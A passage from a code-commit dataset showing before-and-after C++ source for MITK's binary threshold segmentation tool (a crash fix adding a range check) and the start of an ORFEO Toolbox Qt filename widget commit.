\"Threshold\";\n}\n\nvoid mitk::BinaryThresholdTool::Activated()\n{\n Superclass::Activated();\n\n m_ToolManager->RoiDataChanged +=\n mitk::MessageDelegate<mitk::BinaryThresholdTool>(this, &mitk::BinaryThresholdTool::OnRoiDataChanged);\n\n m_OriginalImageNode = m_ToolManager->GetReferenceData(0);\n m_NodeForThresholding = m_OriginalImageNode;\n\n if (m_NodeForThresholding.IsNotNull())\n {\n SetupPreviewNode();\n }\n else\n {\n m_ToolManager->ActivateTool(-1);\n }\n}\n\nvoid mitk::BinaryThresholdTool::Deactivated()\n{\n m_ToolManager->RoiDataChanged -=\n mitk::MessageDelegate<mitk::BinaryThresholdTool>(this, &mitk::BinaryThresholdTool::OnRoiDataChanged);\n m_NodeForThresholding = NULL;\n m_OriginalImageNode = NULL;\n try\n {\n if (DataStorage *storage = m_ToolManager->GetDataStorage())\n {\n storage->Remove(m_ThresholdFeedbackNode);\n RenderingManager::GetInstance()->RequestUpdateAll();\n }\n }\n catch (...)\n {\n \/\/ don't care\n }\n m_ThresholdFeedbackNode->SetData(NULL);\n\n Superclass::Deactivated();\n}\n\nvoid mitk::BinaryThresholdTool::SetThresholdValue(double value)\n{\n if (m_ThresholdFeedbackNode.IsNotNull())\n {\n m_CurrentThresholdValue = value;\n \/\/ Bug 19250: The range of 0.01 is rather random. It was 0.001 before and probably due to rounding error propagation\n \/\/ in VTK code\n \/\/ it leads to strange banding effects on floating point images with a huge range (like -40000 - 40000). 0.01 lowers\n \/\/ this effect\n \/\/ enough to work with our images. Might not work on images with really huge ranges, though. Anyways, still seems to\n \/\/ be low enough\n \/\/ to work for floating point images with a range between 0 and 1. A better solution might be to dynamically\n \/\/ calculate the value\n \/\/ based on the value range of the current image (as big as possible, as small as necessary).\n \/\/ m_ThresholdFeedbackNode->SetProperty( \"levelwindow\", LevelWindowProperty::New(\n \/\/ LevelWindow(m_CurrentThresholdValue, 0.01) ) );\n UpdatePreview();\n }\n}\n\nvoid mitk::BinaryThresholdTool::AcceptCurrentThresholdValue()\n{\n CreateNewSegmentationFromThreshold(m_NodeForThresholding);\n\n RenderingManager::GetInstance()->RequestUpdateAll();\n m_ToolManager->ActivateTool(-1);\n}\n\nvoid mitk::BinaryThresholdTool::CancelThresholding()\n{\n m_ToolManager->ActivateTool(-1);\n}\n\nvoid mitk::BinaryThresholdTool::SetupPreviewNode()\n{\n itk::RGBPixel<float> pixel;\n pixel[0] = 0.0f;\n pixel[1] = 1.0f;\n pixel[2] = 0.0f;\n\n if (m_NodeForThresholding.IsNotNull())\n {\n Image::Pointer image = dynamic_cast<Image *>(m_NodeForThresholding->GetData());\n Image::Pointer originalImage = dynamic_cast<Image *>(m_OriginalImageNode->GetData());\n\n if (image.IsNotNull())\n {\n mitk::LabelSetImage::Pointer workingImage =\n dynamic_cast<mitk::LabelSetImage *>(m_ToolManager->GetWorkingData(0)->GetData());\n\n if (workingImage.IsNotNull())\n {\n m_ThresholdFeedbackNode->SetData(workingImage->Clone());\n m_IsOldBinary = false;\n\n \/\/ Let's paint the feedback node green...\n mitk::LabelSetImage::Pointer previewImage =\n dynamic_cast<mitk::LabelSetImage *>(m_ThresholdFeedbackNode->GetData());\n\n if (previewImage.IsNull())\n {\n MITK_ERROR << \"Cannot create helper objects.\";\n return;\n }\n\n previewImage->GetActiveLabel()->SetColor(pixel);\n previewImage->GetActiveLabelSet()->UpdateLookupTable(previewImage->GetActiveLabel()->GetValue());\n }\n else\n {\n mitk::Image::Pointer workingImageBin = dynamic_cast<mitk::Image *>(m_ToolManager->GetWorkingData(0)->GetData());\n if (workingImageBin)\n {\n m_ThresholdFeedbackNode->SetData(workingImageBin->Clone());\n m_IsOldBinary = true;\n }\n else\n m_ThresholdFeedbackNode->SetData(mitk::Image::New());\n }\n\n m_ThresholdFeedbackNode->SetColor(pixel);\n m_ThresholdFeedbackNode->SetOpacity(0.5);\n\n int layer(50);\n m_NodeForThresholding->GetIntProperty(\"layer\", layer);\n m_ThresholdFeedbackNode->SetIntProperty(\"layer\", layer + 1);\n\n if (DataStorage *ds = m_ToolManager->GetDataStorage())\n {\n if (!ds->Exists(m_ThresholdFeedbackNode))\n ds->Add(m_ThresholdFeedbackNode, m_OriginalImageNode);\n }\n\n if (image.GetPointer() == originalImage.GetPointer())\n {\n Image::StatisticsHolderPointer statistics = originalImage->GetStatistics();\n m_SensibleMinimumThresholdValue = static_cast<double>(statistics->GetScalarValueMin());\n m_SensibleMaximumThresholdValue = static_cast<double>(statistics->GetScalarValueMax());\n }\n\n if ((originalImage->GetPixelType().GetPixelType() == itk::ImageIOBase::SCALAR) &&\n (originalImage->GetPixelType().GetComponentType() == itk::ImageIOBase::FLOAT ||\n originalImage->GetPixelType().GetComponentType() == itk::ImageIOBase::DOUBLE))\n m_IsFloatImage = true;\n else\n m_IsFloatImage = false;\n\n m_CurrentThresholdValue = (m_SensibleMaximumThresholdValue + m_SensibleMinimumThresholdValue) \/ 2.0;\n\n IntervalBordersChanged.Send(m_SensibleMinimumThresholdValue, m_SensibleMaximumThresholdValue, m_IsFloatImage);\n ThresholdingValueChanged.Send(m_CurrentThresholdValue);\n }\n }\n}\n\ntemplate <typename TPixel, unsigned int VImageDimension>\nstatic void ITKSetVolume(itk::Image<TPixel, VImageDimension> *originalImage,\n mitk::Image *segmentation,\n unsigned int timeStep)\n{\n segmentation->SetVolume((void *)originalImage->GetPixelContainer()->GetBufferPointer(), timeStep);\n}\n\nvoid mitk::BinaryThresholdTool::CreateNewSegmentationFromThreshold(DataNode *node)\n{\n if (node)\n {\n Image::Pointer feedBackImage = dynamic_cast<Image *>(m_ThresholdFeedbackNode->GetData());\n if (feedBackImage.IsNotNull())\n {\n DataNode::Pointer emptySegmentation = GetTargetSegmentationNode();\n\n if (emptySegmentation)\n {\n \/\/ actually perform a thresholding and ask for an organ type\n for (unsigned int timeStep = 0; timeStep < feedBackImage->GetTimeSteps(); ++timeStep)\n {\n try\n {\n ImageTimeSelector::Pointer timeSelector = ImageTimeSelector::New();\n timeSelector->SetInput(feedBackImage);\n timeSelector->SetTimeNr(timeStep);\n timeSelector->UpdateLargestPossibleRegion();\n Image::Pointer image3D = timeSelector->GetOutput();\n\n if (image3D->GetDimension() == 2)\n {\n AccessFixedDimensionByItk_2(\n image3D, ITKSetVolume, 2, dynamic_cast<Image *>(emptySegmentation->GetData()), timeStep);\n }\n else\n {\n AccessFixedDimensionByItk_2(\n image3D, ITKSetVolume, 3, dynamic_cast<Image *>(emptySegmentation->GetData()), timeStep);\n }\n }\n catch (...)\n {\n Tool::ErrorMessage(\"Error accessing single time steps of the original image. Cannot create segmentation.\");\n }\n }\n\n if (m_OriginalImageNode.GetPointer() != m_NodeForThresholding.GetPointer())\n {\n mitk::PadImageFilter::Pointer padFilter = mitk::PadImageFilter::New();\n\n padFilter->SetInput(0, dynamic_cast<mitk::Image *>(emptySegmentation->GetData()));\n padFilter->SetInput(1, dynamic_cast<mitk::Image *>(m_OriginalImageNode->GetData()));\n padFilter->SetBinaryFilter(true);\n padFilter->SetUpperThreshold(1);\n padFilter->SetLowerThreshold(1);\n padFilter->Update();\n\n emptySegmentation->SetData(padFilter->GetOutput());\n }\n\n m_ToolManager->SetWorkingData(emptySegmentation);\n m_ToolManager->GetWorkingData(0)->Modified();\n }\n }\n }\n}\n\nvoid mitk::BinaryThresholdTool::OnRoiDataChanged()\n{\n mitk::DataNode::Pointer node = m_ToolManager->GetRoiData(0);\n\n if (node.IsNotNull())\n {\n mitk::MaskAndCutRoiImageFilter::Pointer roiFilter = mitk::MaskAndCutRoiImageFilter::New();\n mitk::Image::Pointer image = dynamic_cast<mitk::Image *>(m_NodeForThresholding->GetData());\n\n if (image.IsNull())\n return;\n\n roiFilter->SetInput(image);\n roiFilter->SetRegionOfInterest(node->GetData());\n roiFilter->Update();\n\n mitk::DataNode::Pointer tmpNode = mitk::DataNode::New();\n tmpNode->SetData(roiFilter->GetOutput());\n\n m_SensibleMaximumThresholdValue = static_cast<double>(roiFilter->GetMaxValue());\n m_SensibleMinimumThresholdValue = static_cast<double>(roiFilter->GetMinValue());\n\n m_NodeForThresholding = tmpNode;\n }\n else\n {\n m_NodeForThresholding = m_OriginalImageNode;\n }\n\n this->SetupPreviewNode();\n this->UpdatePreview();\n}\n\ntemplate <typename TPixel, unsigned int VImageDimension>\nvoid mitk::BinaryThresholdTool::ITKThresholding(itk::Image<TPixel, VImageDimension> *originalImage,\n Image *segmentation,\n double thresholdValue,\n unsigned int timeStep)\n{\n typedef itk::Image<TPixel, VImageDimension> ImageType;\n typedef itk::Image<mitk::Tool::DefaultSegmentationDataType, VImageDimension> SegmentationType;\n typedef itk::BinaryThresholdImageFilter<ImageType, SegmentationType> ThresholdFilterType;\n\n typename ThresholdFilterType::Pointer filter = ThresholdFilterType::New();\n filter->SetInput(originalImage);\n filter->SetLowerThreshold(thresholdValue);\n filter->SetUpperThreshold(m_SensibleMaximumThresholdValue);\n filter->SetInsideValue(1);\n filter->SetOutsideValue(0);\n filter->Update();\n\n segmentation->SetVolume((void *)(filter->GetOutput()->GetPixelContainer()->GetBufferPointer()), timeStep);\n}\n\ntemplate <typename TPixel, unsigned int VImageDimension>\nvoid mitk::BinaryThresholdTool::ITKThresholdingOldBinary(itk::Image<TPixel, VImageDimension> *originalImage,\n Image *segmentation,\n double thresholdValue,\n unsigned int timeStep)\n{\n typedef itk::Image<TPixel, VImageDimension> ImageType;\n typedef itk::Image<unsigned char, VImageDimension> SegmentationType;\n typedef itk::BinaryThresholdImageFilter<ImageType, SegmentationType> ThresholdFilterType;\n\n typename ThresholdFilterType::Pointer filter = ThresholdFilterType::New();\n filter->SetInput(originalImage);\n filter->SetLowerThreshold(thresholdValue);\n filter->SetUpperThreshold(m_SensibleMaximumThresholdValue);\n filter->SetInsideValue(1);\n filter->SetOutsideValue(0);\n filter->Update();\n\n segmentation->SetVolume((void *)(filter->GetOutput()->GetPixelContainer()->GetBufferPointer()), timeStep);\n}\n\nvoid mitk::BinaryThresholdTool::UpdatePreview()\n{\n mitk::Image::Pointer thresholdImage = dynamic_cast<mitk::Image *>(m_NodeForThresholding->GetData());\n mitk::Image::Pointer previewImage = dynamic_cast<mitk::Image *>(m_ThresholdFeedbackNode->GetData());\n if (thresholdImage && previewImage)\n {\n for (unsigned int timeStep = 0; timeStep < thresholdImage->GetTimeSteps(); ++timeStep)\n {\n ImageTimeSelector::Pointer timeSelector = ImageTimeSelector::New();\n timeSelector->SetInput(thresholdImage);\n timeSelector->SetTimeNr(timeStep);\n timeSelector->UpdateLargestPossibleRegion();\n Image::Pointer feedBackImage3D = timeSelector->GetOutput();\n\n if (m_IsOldBinary)\n {\n AccessByItk_n(feedBackImage3D, ITKThresholdingOldBinary, (previewImage, m_CurrentThresholdValue, timeStep));\n }\n else\n {\n AccessByItk_n(feedBackImage3D, ITKThresholding, (previewImage, m_CurrentThresholdValue, timeStep));\n }\n }\n\n RenderingManager::GetInstance()->RequestUpdateAll();\n }\n}\n<commit_msg>Fix crash on Threshold<commit_after>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkBinaryThresholdTool.h\"\n\n#include \"mitkBoundingObjectToSegmentationFilter.h\"\n#include \"mitkToolManager.h\"\n\n#include \"mitkColorProperty.h\"\n#include \"mitkDataStorage.h\"\n#include \"mitkLevelWindowProperty.h\"\n#include \"mitkOrganTypeProperty.h\"\n#include \"mitkProperties.h\"\n#include \"mitkRenderingManager.h\"\n#include \"mitkVtkResliceInterpolationProperty.h\"\n#include <mitkCoreObjectFactory.h>\n\n#include \"mitkImageAccessByItk.h\"\n#include \"mitkImageCast.h\"\n#include \"mitkImageStatisticsHolder.h\"\n#include \"mitkImageTimeSelector.h\"\n#include \"mitkLabelSetImage.h\"\n#include \"mitkMaskAndCutRoiImageFilter.h\"\n#include \"mitkPadImageFilter.h\"\n#include <itkBinaryThresholdImageFilter.h>\n#include <itkImageRegionIterator.h>\n\n\/\/ us\n#include \"usGetModuleContext.h\"\n#include \"usModule.h\"\n#include \"usModuleResource.h\"\n\nnamespace mitk\n{\n MITK_TOOL_MACRO(MITKSEGMENTATION_EXPORT, BinaryThresholdTool, \"Thresholding tool\");\n}\n\nmitk::BinaryThresholdTool::BinaryThresholdTool()\n : m_SensibleMinimumThresholdValue(-100),\n m_SensibleMaximumThresholdValue(+100),\n m_CurrentThresholdValue(0.0),\n m_IsFloatImage(false)\n{\n m_ThresholdFeedbackNode = DataNode::New();\n m_ThresholdFeedbackNode->SetProperty(\"color\", ColorProperty::New(0.0, 1.0, 0.0));\n m_ThresholdFeedbackNode->SetProperty(\"name\", StringProperty::New(\"Thresholding feedback\"));\n m_ThresholdFeedbackNode->SetProperty(\"opacity\", FloatProperty::New(0.3));\n m_ThresholdFeedbackNode->SetProperty(\"binary\", BoolProperty::New(true));\n m_ThresholdFeedbackNode->SetProperty(\"helper object\", BoolProperty::New(true));\n}\n\nmitk::BinaryThresholdTool::~BinaryThresholdTool()\n{\n}\n\nconst char **mitk::BinaryThresholdTool::GetXPM() const\n{\n return NULL;\n}\n\nus::ModuleResource mitk::BinaryThresholdTool::GetIconResource() const\n{\n us::Module *module = us::GetModuleContext()->GetModule();\n us::ModuleResource resource = module->GetResource(\"Threshold_48x48.png\");\n return resource;\n}\n\nconst char *mitk::BinaryThresholdTool::GetName() const\n{\n return \"Threshold\";\n}\n\nvoid mitk::BinaryThresholdTool::Activated()\n{\n Superclass::Activated();\n\n m_ToolManager->RoiDataChanged +=\n mitk::MessageDelegate<mitk::BinaryThresholdTool>(this, &mitk::BinaryThresholdTool::OnRoiDataChanged);\n\n m_OriginalImageNode = m_ToolManager->GetReferenceData(0);\n m_NodeForThresholding = m_OriginalImageNode;\n\n if (m_NodeForThresholding.IsNotNull())\n {\n SetupPreviewNode();\n }\n else\n {\n m_ToolManager->ActivateTool(-1);\n }\n}\n\nvoid mitk::BinaryThresholdTool::Deactivated()\n{\n m_ToolManager->RoiDataChanged -=\n mitk::MessageDelegate<mitk::BinaryThresholdTool>(this, &mitk::BinaryThresholdTool::OnRoiDataChanged);\n m_NodeForThresholding = NULL;\n m_OriginalImageNode = NULL;\n try\n {\n if (DataStorage *storage = m_ToolManager->GetDataStorage())\n {\n storage->Remove(m_ThresholdFeedbackNode);\n RenderingManager::GetInstance()->RequestUpdateAll();\n }\n }\n catch (...)\n {\n \/\/ don't care\n }\n m_ThresholdFeedbackNode->SetData(NULL);\n\n Superclass::Deactivated();\n}\n\nvoid mitk::BinaryThresholdTool::SetThresholdValue(double value)\n{\n if (m_ThresholdFeedbackNode.IsNotNull())\n {\n \/* If value is not in the min\/max range, do nothing. In that case, this\n method will be called again with a proper value right after. The only\n known case where this happens is with an [0.0, 1.0[ image, where value\n could be an epsilon greater than the max. *\/\n if (value < m_SensibleMinimumThresholdValue\n || value > m_SensibleMaximumThresholdValue)\n {\n return;\n }\n\n m_CurrentThresholdValue = value;\n \/\/ Bug 19250: The range of 0.01 is rather random. It was 0.001 before and probably due to rounding error propagation\n \/\/ in VTK code\n \/\/ it leads to strange banding effects on floating point images with a huge range (like -40000 - 40000). 0.01 lowers\n \/\/ this effect\n \/\/ enough to work with our images. Might not work on images with really huge ranges, though. Anyways, still seems to\n \/\/ be low enough\n \/\/ to work for floating point images with a range between 0 and 1. A better solution might be to dynamically\n \/\/ calculate the value\n \/\/ based on the value range of the current image (as big as possible, as small as necessary).\n \/\/ m_ThresholdFeedbackNode->SetProperty( \"levelwindow\", LevelWindowProperty::New(\n \/\/ LevelWindow(m_CurrentThresholdValue, 0.01) ) );\n UpdatePreview();\n }\n}\n\nvoid mitk::BinaryThresholdTool::AcceptCurrentThresholdValue()\n{\n CreateNewSegmentationFromThreshold(m_NodeForThresholding);\n\n RenderingManager::GetInstance()->RequestUpdateAll();\n m_ToolManager->ActivateTool(-1);\n}\n\nvoid mitk::BinaryThresholdTool::CancelThresholding()\n{\n m_ToolManager->ActivateTool(-1);\n}\n\nvoid mitk::BinaryThresholdTool::SetupPreviewNode()\n{\n itk::RGBPixel<float> pixel;\n pixel[0] = 0.0f;\n pixel[1] = 1.0f;\n pixel[2] = 0.0f;\n\n if (m_NodeForThresholding.IsNotNull())\n {\n Image::Pointer image = dynamic_cast<Image *>(m_NodeForThresholding->GetData());\n Image::Pointer originalImage = dynamic_cast<Image *>(m_OriginalImageNode->GetData());\n\n if (image.IsNotNull())\n {\n mitk::LabelSetImage::Pointer workingImage =\n dynamic_cast<mitk::LabelSetImage *>(m_ToolManager->GetWorkingData(0)->GetData());\n\n if (workingImage.IsNotNull())\n {\n m_ThresholdFeedbackNode->SetData(workingImage->Clone());\n m_IsOldBinary = false;\n\n \/\/ Let's paint the feedback node green...\n mitk::LabelSetImage::Pointer previewImage =\n dynamic_cast<mitk::LabelSetImage *>(m_ThresholdFeedbackNode->GetData());\n\n if (previewImage.IsNull())\n {\n MITK_ERROR << \"Cannot create helper objects.\";\n return;\n }\n\n previewImage->GetActiveLabel()->SetColor(pixel);\n previewImage->GetActiveLabelSet()->UpdateLookupTable(previewImage->GetActiveLabel()->GetValue());\n }\n else\n {\n mitk::Image::Pointer workingImageBin = dynamic_cast<mitk::Image *>(m_ToolManager->GetWorkingData(0)->GetData());\n if (workingImageBin)\n {\n m_ThresholdFeedbackNode->SetData(workingImageBin->Clone());\n m_IsOldBinary = true;\n }\n else\n m_ThresholdFeedbackNode->SetData(mitk::Image::New());\n }\n\n m_ThresholdFeedbackNode->SetColor(pixel);\n m_ThresholdFeedbackNode->SetOpacity(0.5);\n\n int layer(50);\n m_NodeForThresholding->GetIntProperty(\"layer\", layer);\n m_ThresholdFeedbackNode->SetIntProperty(\"layer\", layer + 1);\n\n if (DataStorage *ds = m_ToolManager->GetDataStorage())\n {\n if (!ds->Exists(m_ThresholdFeedbackNode))\n ds->Add(m_ThresholdFeedbackNode, m_OriginalImageNode);\n }\n\n if (image.GetPointer() == originalImage.GetPointer())\n {\n Image::StatisticsHolderPointer statistics = originalImage->GetStatistics();\n m_SensibleMinimumThresholdValue = static_cast<double>(statistics->GetScalarValueMin());\n m_SensibleMaximumThresholdValue = static_cast<double>(statistics->GetScalarValueMax());\n }\n\n if ((originalImage->GetPixelType().GetPixelType() == itk::ImageIOBase::SCALAR) &&\n (originalImage->GetPixelType().GetComponentType() == itk::ImageIOBase::FLOAT ||\n originalImage->GetPixelType().GetComponentType() == itk::ImageIOBase::DOUBLE))\n m_IsFloatImage = true;\n else\n m_IsFloatImage = false;\n\n m_CurrentThresholdValue = (m_SensibleMaximumThresholdValue + m_SensibleMinimumThresholdValue) \/ 2.0;\n\n IntervalBordersChanged.Send(m_SensibleMinimumThresholdValue, m_SensibleMaximumThresholdValue, m_IsFloatImage);\n ThresholdingValueChanged.Send(m_CurrentThresholdValue);\n }\n }\n}\n\ntemplate <typename TPixel, unsigned int VImageDimension>\nstatic void ITKSetVolume(itk::Image<TPixel, VImageDimension> *originalImage,\n mitk::Image *segmentation,\n unsigned int timeStep)\n{\n segmentation->SetVolume((void *)originalImage->GetPixelContainer()->GetBufferPointer(), timeStep);\n}\n\nvoid mitk::BinaryThresholdTool::CreateNewSegmentationFromThreshold(DataNode *node)\n{\n if (node)\n {\n Image::Pointer feedBackImage = dynamic_cast<Image *>(m_ThresholdFeedbackNode->GetData());\n if (feedBackImage.IsNotNull())\n {\n DataNode::Pointer emptySegmentation = GetTargetSegmentationNode();\n\n if (emptySegmentation)\n {\n \/\/ actually perform a thresholding and ask for an organ type\n for (unsigned int timeStep = 0; timeStep < feedBackImage->GetTimeSteps(); ++timeStep)\n {\n try\n {\n ImageTimeSelector::Pointer timeSelector = ImageTimeSelector::New();\n timeSelector->SetInput(feedBackImage);\n timeSelector->SetTimeNr(timeStep);\n timeSelector->UpdateLargestPossibleRegion();\n Image::Pointer image3D = timeSelector->GetOutput();\n\n if (image3D->GetDimension() == 2)\n {\n AccessFixedDimensionByItk_2(\n image3D, ITKSetVolume, 2, dynamic_cast<Image *>(emptySegmentation->GetData()), timeStep);\n }\n else\n {\n AccessFixedDimensionByItk_2(\n image3D, ITKSetVolume, 3, dynamic_cast<Image *>(emptySegmentation->GetData()), timeStep);\n }\n }\n catch (...)\n {\n Tool::ErrorMessage(\"Error accessing single time steps of the original image. Cannot create segmentation.\");\n }\n }\n\n if (m_OriginalImageNode.GetPointer() != m_NodeForThresholding.GetPointer())\n {\n mitk::PadImageFilter::Pointer padFilter = mitk::PadImageFilter::New();\n\n padFilter->SetInput(0, dynamic_cast<mitk::Image *>(emptySegmentation->GetData()));\n padFilter->SetInput(1, dynamic_cast<mitk::Image *>(m_OriginalImageNode->GetData()));\n padFilter->SetBinaryFilter(true);\n padFilter->SetUpperThreshold(1);\n padFilter->SetLowerThreshold(1);\n padFilter->Update();\n\n emptySegmentation->SetData(padFilter->GetOutput());\n }\n\n m_ToolManager->SetWorkingData(emptySegmentation);\n m_ToolManager->GetWorkingData(0)->Modified();\n }\n }\n }\n}\n\nvoid mitk::BinaryThresholdTool::OnRoiDataChanged()\n{\n mitk::DataNode::Pointer node = m_ToolManager->GetRoiData(0);\n\n if (node.IsNotNull())\n {\n mitk::MaskAndCutRoiImageFilter::Pointer roiFilter = mitk::MaskAndCutRoiImageFilter::New();\n mitk::Image::Pointer image = dynamic_cast<mitk::Image *>(m_NodeForThresholding->GetData());\n\n if (image.IsNull())\n return;\n\n roiFilter->SetInput(image);\n roiFilter->SetRegionOfInterest(node->GetData());\n roiFilter->Update();\n\n mitk::DataNode::Pointer tmpNode = mitk::DataNode::New();\n tmpNode->SetData(roiFilter->GetOutput());\n\n m_SensibleMaximumThresholdValue = static_cast<double>(roiFilter->GetMaxValue());\n m_SensibleMinimumThresholdValue = static_cast<double>(roiFilter->GetMinValue());\n\n m_NodeForThresholding = tmpNode;\n }\n else\n {\n m_NodeForThresholding = m_OriginalImageNode;\n }\n\n this->SetupPreviewNode();\n this->UpdatePreview();\n}\n\ntemplate <typename TPixel, unsigned int VImageDimension>\nvoid mitk::BinaryThresholdTool::ITKThresholding(itk::Image<TPixel, VImageDimension> *originalImage,\n Image *segmentation,\n double thresholdValue,\n unsigned int timeStep)\n{\n typedef itk::Image<TPixel, VImageDimension> ImageType;\n typedef itk::Image<mitk::Tool::DefaultSegmentationDataType, VImageDimension> SegmentationType;\n typedef itk::BinaryThresholdImageFilter<ImageType, SegmentationType> ThresholdFilterType;\n\n typename ThresholdFilterType::Pointer filter = ThresholdFilterType::New();\n filter->SetInput(originalImage);\n filter->SetLowerThreshold(thresholdValue);\n filter->SetUpperThreshold(m_SensibleMaximumThresholdValue);\n filter->SetInsideValue(1);\n filter->SetOutsideValue(0);\n filter->Update();\n\n segmentation->SetVolume((void *)(filter->GetOutput()->GetPixelContainer()->GetBufferPointer()), timeStep);\n}\n\ntemplate <typename TPixel, unsigned int VImageDimension>\nvoid mitk::BinaryThresholdTool::ITKThresholdingOldBinary(itk::Image<TPixel, VImageDimension> *originalImage,\n Image *segmentation,\n double thresholdValue,\n unsigned int timeStep)\n{\n typedef itk::Image<TPixel, VImageDimension> ImageType;\n typedef itk::Image<unsigned char, VImageDimension> SegmentationType;\n typedef itk::BinaryThresholdImageFilter<ImageType, SegmentationType> ThresholdFilterType;\n\n typename ThresholdFilterType::Pointer filter = ThresholdFilterType::New();\n filter->SetInput(originalImage);\n filter->SetLowerThreshold(thresholdValue);\n filter->SetUpperThreshold(m_SensibleMaximumThresholdValue);\n filter->SetInsideValue(1);\n filter->SetOutsideValue(0);\n filter->Update();\n\n segmentation->SetVolume((void *)(filter->GetOutput()->GetPixelContainer()->GetBufferPointer()), timeStep);\n}\n\nvoid mitk::BinaryThresholdTool::UpdatePreview()\n{\n mitk::Image::Pointer thresholdImage = dynamic_cast<mitk::Image *>(m_NodeForThresholding->GetData());\n mitk::Image::Pointer previewImage = dynamic_cast<mitk::Image *>(m_ThresholdFeedbackNode->GetData());\n if (thresholdImage && previewImage)\n {\n for (unsigned int timeStep = 0; timeStep < thresholdImage->GetTimeSteps(); ++timeStep)\n {\n ImageTimeSelector::Pointer timeSelector = ImageTimeSelector::New();\n timeSelector->SetInput(thresholdImage);\n timeSelector->SetTimeNr(timeStep);\n timeSelector->UpdateLargestPossibleRegion();\n Image::Pointer feedBackImage3D = timeSelector->GetOutput();\n\n if (m_IsOldBinary)\n {\n AccessByItk_n(feedBackImage3D, ITKThresholdingOldBinary, (previewImage, m_CurrentThresholdValue, timeStep));\n }\n else\n {\n AccessByItk_n(feedBackImage3D, ITKThresholding, (previewImage, m_CurrentThresholdValue, timeStep));\n }\n }\n\n RenderingManager::GetInstance()->RequestUpdateAll();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"otbWrapperQtWidgetOutputFilenameParameter.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\nQtWidgetOutputFilenameParameter::QtWidgetOutputFilenameParameter(OutputFilenameParameter* param, QtWidgetModel* m)\n: QtWidgetParameterBase(param, m),\n m_FilenameParam(param)\n{\n}\n\nQtWidgetOutputFilenameParameter::~QtWidgetOutputFilenameParameter()\n{\n}\n\nvoid QtWidgetOutputFilenameParameter::DoUpdateGUI()\n{\n \/\/ Update the lineEdit\n QString text( m_FilenameParam->GetValue().c_str() );\n m_Input->setText(text);\n}\n\nvoid QtWidgetOutputFilenameParameter::DoCreateWidget()\n{\n \/\/ Set up input text edit\n m_HLayout = new QHBoxLayout;\n m_HLayout->setSpacing(0);\n m_HLayout->setContentsMargins(0, 0, 0, 0);\n m_Input = new QLineEdit;\n m_Input->setToolTip( m_FilenameParam->GetDescription() );\n connect( m_Input, SIGNAL(textChanged(const QString&)), this, SLOT(SetFileName(const QString&)) );\n connect( m_Input, SIGNAL(textChanged(const QString&)), GetModel(), SLOT(NotifyUpdate()) );\n\n m_HLayout->addWidget(m_Input);\n\n \/\/ Set up input text edit\n m_Button = new QPushButton;\n m_Button->setText(\"...\");\n m_Button->setToolTip(\"Select file...\");\n m_Button->setMaximumWidth(m_Button->width());\n connect( m_Button, SIGNAL(clicked()), this, SLOT(SelectFile()) );\n m_HLayout->addWidget(m_Button);\n\n this->setLayout(m_HLayout);\n}\n\nvoid QtWidgetOutputFilenameParameter::SelectFile()\n{\n QFileDialog fileDialog;\n fileDialog.setConfirmOverwrite(true);\n switch(m_FilenameParam->GetRole())\n {\n case Role_Input:\n {\n \/\/fileDialog.setFileMode(QFileDialog::ExistingFile);\n \/\/ FIXME: parameter's role is not suitable to separate \"input file\" names from \"output file\" names\n fileDialog.setFileMode(QFileDialog::AnyFile);\n }\n break;\n case Role_Output:\n {\n fileDialog.setFileMode(QFileDialog::AnyFile);\n }\n break;\n }\n\n fileDialog.setNameFilter(\"File (*)\");\n\n if (fileDialog.exec())\n {\n this->SetFileName(fileDialog.selectedFiles().at(0));\n m_Input->setText(fileDialog.selectedFiles().at(0));\n }\n}\n\nvoid QtWidgetOutputFilenameParameter::SetFileName(const QString& value)\n{\n \/\/ save value\n m_FilenameParam->SetValue(static_cast<const char*>(value.toAscii()));\n\n \/\/ notify of value change\n QString key( m_FilenameParam->GetKey() );\n emit ParameterChanged(key);\n}\n\n}\n}\n<commit_msg>BUG: avoid cursor to be sent to end after editing OutputFilenameParameter<commit_after>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"otbWrapperQtWidgetOutputFilenameParameter.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\nQtWidgetOutputFilenameParameter::QtWidgetOutputFilenameParameter(OutputFilenameParameter* param, QtWidgetModel* m)\n: QtWidgetParameterBase(param, m),\n m_FilenameParam(param)\n{\n}\n\nQtWidgetOutputFilenameParameter::~QtWidgetOutputFilenameParameter()\n{\n}\n\nvoid QtWidgetOutputFilenameParameter::DoUpdateGUI()\n{\n \/\/ Update the lineEdit\n QString text( m_FilenameParam->GetValue().c_str() );\n if (text != m_Input->text())\n m_Input->setText(text);\n}\n\nvoid QtWidgetOutputFilenameParameter::DoCreateWidget()\n{\n \/\/ Set up input text edit\n m_HLayout = new QHBoxLayout;\n m_HLayout->setSpacing(0);\n m_HLayout->setContentsMargins(0, 0, 0, 0);\n m_Input = new QLineEdit;\n m_Input->setToolTip( m_FilenameParam->GetDescription() );\n connect( m_Input, SIGNAL(textChanged(const QString&)), this, SLOT(SetFileName(const QString&)) );\n connect( m_Input, SIGNAL(textChanged(const QString&)), GetModel(), SLOT(NotifyUpdate()) );\n\n m_HLayout->addWidget(m_Input);\n\n \/\/ Set up input text edit\n m_Button = new QPushButton;\n m_Button->setText(\"...\");\n m_Button->setToolTip(\"Select file...\");\n 